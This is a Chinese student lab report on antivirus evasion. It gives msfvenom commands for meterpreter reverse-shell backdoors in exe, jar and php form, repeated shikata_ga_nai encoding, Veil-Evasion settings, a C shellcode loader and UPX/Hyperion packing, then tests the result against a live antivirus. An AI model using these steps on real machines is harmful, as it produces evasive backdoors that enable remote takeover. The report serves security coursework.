一、实验要求

1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

1.2 通过组合应用各种技术实现恶意代码免杀(0.5分) (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

二、实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

1、使用msf编码器

通过上个实验中学到的命令生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168. 1.115 LPORT=4317 -f
exe > met.exe

将生成的程序上传到virus total试试结果

使用msf编码器对后门程序编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b
‘\x00’ LHOST=192.168.1.115 LPORT=4317 -f exe > met-encoded10.exe

再上传到virus total试试免杀操作是否有效

2、使用msfvenom生成jar

使用Java后门程序生成命令

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.115 lport=4317 x>
20164317_backdoor_java.jar
3、使用msfvenom生成php

使用php后门程序生成命令
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.115 lport=4317 x> 20164317_backdoor.php

4、使用veil-evasion

设置veil

use evasion

use 7

set LHOST 192.168.1.115

set LPORT 4317

然后输入后门程序的文件名

于是把它挂上virus total看看表现如何

利用shellcode编程

  • 先执行shellcode生成命令
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4317 -f c
  • 得到shellcode

任务二:Linux平台交叉编译Windows应用

1、使用交叉编译

新建.c文件,将shellcode和c代码组合到一起

vim 4317met.c

unsigned char buf[] =

将shellcode替换到此处

int main()

{

    int (*func)() = (int(*)())buf;

    func();

}

执行

i686-w64-mingw32-g++ 4317met.c -o 4317met.exe

编译成exe文件

然后把它挂上virus total测一下,没查出来

加压缩壳

1  upx 4323.exe -o cal_4317.exe

使用加密壳(Hyperion)

将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

进入目录/usr/share/windows-binaries/hyperion/中

输入命令

wine hyperion.exe -v 4317_upxed.exe 4317_upxed_hyperion.exe

进行加壳

实现免杀

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

实验环境:被控机是win7虚拟机,装有金山毒霸
(我保留了用vs编译的最初c+shellcode版本,以及在此基础上加压缩壳的版本、再加加密壳的版本。一共三个版本,回连失败)

  • 本机打开msf控制台,开始监听
  • 受控机运行后门程序
  • 版本号
  • 三、基础问题回答

    1、杀软是如何检测出恶意代码的?

  • 特征码扫描
  • 启发式扫描
  • 虚拟机技术
  • 主动防御技术
  • 自免疫技术
  • 2、免杀是做什么的?

    使恶意代码逃过杀毒软件的查杀

    3、免杀的基本方法有哪些?

  • msfvenom直接生成
  • msfvenom编码一次
  • msfvenom多次编码
  • veil-evasion
  • 半手工生成shellcode
  • 加壳(压缩壳,加密壳)
  • 4、开启杀软能绝对防止电脑中恶意代码吗?

    当然不行,即便是开始直接生成的后门程序测试中也有杀软找不出来呢。

    四、实验中遇到的问题

    1安装veil-evasion过程中出现很多弹窗提示你安装,但是里面的字却又是方框,编码错误显示不出来。
    解决:在安装之除就选择s静默安装,一切由系统自己设置安排。
    2虚拟机ping不通别的实体机
    解决:把虚拟机网卡设置改为桥接模式就可以了

  • 五、实验总结与体会

    此次实验让我对免杀技术有了新的认识,比如通过不同的编程语言重写、多次编码等,都是十分新鲜的东西。不过也让我认识到安装杀软有时候可能并没有什么用,它只能按照已有的特征码或者比较有效的启发式鉴别木马和后门程序,虽然病毒库随时都在更新,但像实验中刚做出来的后门程序肯定不在病毒库之列,于是它就可以为所欲为。本次实验难度比较大,尝试了很多方法也没法实现,杀毒软件的功能还是很强的,很多次尝试都没有成功,推测还是shellcode出问题了。

20164317《网络对抗技术》Exp3 免杀原理与实践的更多相关文章

  1. 20145215《网络对抗》Exp3 免杀原理与实践

    20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...

  2. 20155227《网络对抗》Exp3 免杀原理与实践

    20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...

  3. 20155232《网络对抗》Exp3 免杀原理与实践

    20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...

  4. 20155302《网络对抗》Exp3 免杀原理与实践

    20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...

  5. 20155323刘威良《网络对抗》Exp3 免杀原理与实践

    20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...

  6. 20155333 《网络对抗》Exp3 免杀原理与实践

    20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...

  7. 20145307陈俊达《网络对抗》Exp3 免杀原理与实践

    20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...

  8. 20155218《网络对抗》Exp3 免杀原理与实践

    20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...

  9. 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践

    20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...

  10. 20155338《网络对抗》Exp3 免杀原理与实践

    20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...

随机推荐

  1. Message: u'The given selector btn dropdown-toggle btn-info is either invalid or does not result in a WebElement

    html代码: <html> <head> <meta http-equiv="content-type" content="text/ht ...

  2. .NET Utils 辅助类

    using System;using System.Diagnostics;using System.IO;using System.Reflection;using System.Runtime.I ...

  3. tcl&redis安装

    http://www.linuxfromscratch.org/blfs/view/cvs/general/tcl.html tcl http://redis.io/topics/quickstart

  4. MEME(Motif-based sequence analysis tools)使用说明

    MEME(Motif-based sequence analysis tools)使用说明 2011-05-27 ~ ADMIN MEME是用于从一堆序列中搜索功能结构域的工具.比如说当你拿到了许多C ...

  5. Jmeter的一个jmx文件(备忘)

    <?xml version="1.0" encoding="UTF-8"?> <jmeterTestPlan version="1. ...

  6. js技巧汇总

    1.window.open()打开一个子页面,在子页面关闭时刷新父页面 子页面关闭事件代码:window.opener.location.href=window.opener.location.hre ...

  7. sql中 in 、not in 、exists、not exists 用法和差别

    % 的一类. NOTIN:通过 NOTIN 关键字引入的子查询也返回一列零值或更多值. 以下查询查找没有出版过商业书籍的出版商的名称. SELECT pub_name FROM publishers ...

  8. Winpython环境下mayavi配置

    Winpython环境下mayavi配置 在pythonxy中会直接有mayavi软件包,但是所附带的杂包实在太多.本人一直用的是window下的winpython或者linux下的anaconda来 ...

  9. 第二章:冠词(Les articles)

    ★定冠词(Les articles définis ): 阳性单数:le(l') 阴性单数:la(l') 阴阳性复数:les ()表示前面已经提到的人或事物: ()有关的名词已被其它的成分(补语,关系 ...

  10. Windows 下使用 GCC

    MinGw 是 Minimal GNU on Windows 的缩写,允许在 GNU/Linux 和 Windows 平台生成本地的 Windows 程序而不需要第三方运行时库.本文主要介绍 MinG ...